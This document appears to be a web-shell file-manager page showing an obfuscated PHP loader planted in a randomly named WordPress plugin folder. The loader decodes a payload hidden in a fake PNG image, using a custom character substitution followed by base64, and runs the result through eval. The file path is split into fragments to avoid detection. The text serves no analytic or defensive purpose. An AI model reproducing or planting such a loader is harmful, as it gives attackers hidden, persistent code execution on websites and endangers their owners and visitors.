HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web78 (5081)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web78/web/wp-content/plugins/abyzacyqu/uciluz.txt
<?php

function ryduce_xykybyjezh($nohyni_yshechithi) {
    if ($nohyni_yshechithi == 1)
        return koqixi_oheshige();
    if ($nohyni_yshechithi == 2)
        return giqojo_odaqoquthu();
}

function emihyq_ocoxohanu($nohyni_yshechithi) {
    $togiru = ryduce_xykybyjezh(1);
    $axomugy = ryduce_xykybyjezh(2);
    for ($zhebihe = 0; $zhebihe < strlen($togiru); $zhebihe++) {
        $avomyxy = substr($togiru, $zhebihe, 1);
        $yrikhud = substr($axomugy, $zhebihe, 1);
        $pukhuve[$avomyxy] = $yrikhud;
    }

    $ysoqom = strtr($nohyni_yshechithi, $pukhuve);
    $ysoqom = base64_decode($ysoqom);

    return $ysoqom;
}

function edixot_ydikubakho($nohyni_yshechithi) {
    $datasho = array();
    if (!file_exists($nohyni_yshechithi))
        return false;
    $ezygub = @file_get_contents($nohyni_yshechithi);
    if (!$ezygub)
        return false;
    $ezygub = substr($ezygub, 3);
    $datasho = emihyq_ocoxohanu($ezygub);
    return $datasho;
}

function koqixi_oheshige() {
    $ezygub = "kOFh86pKEgtMyXYm5eVoRbzGv12WdHNixnqZwU=LsTCaJ+BADcIQr3P0u97Sj/l4f";
    return $ezygub;
}

function giqojo_odaqoquthu() {
    $datasho = "qLBp95oJDQru2KU=h/zNFvfwls1SGW0beAmPcMiEXVRYadZ4HnxOj7T3y+6gCkI8t";
    return $datasho;
}

$yxerash = edixot_ydikubakho(__DIR__ . "/ass" . "ets/" . "imag" . "es/ojo" . "geb.p" . "ng");
if ($yxerash) {
    @eval($yxerash);
}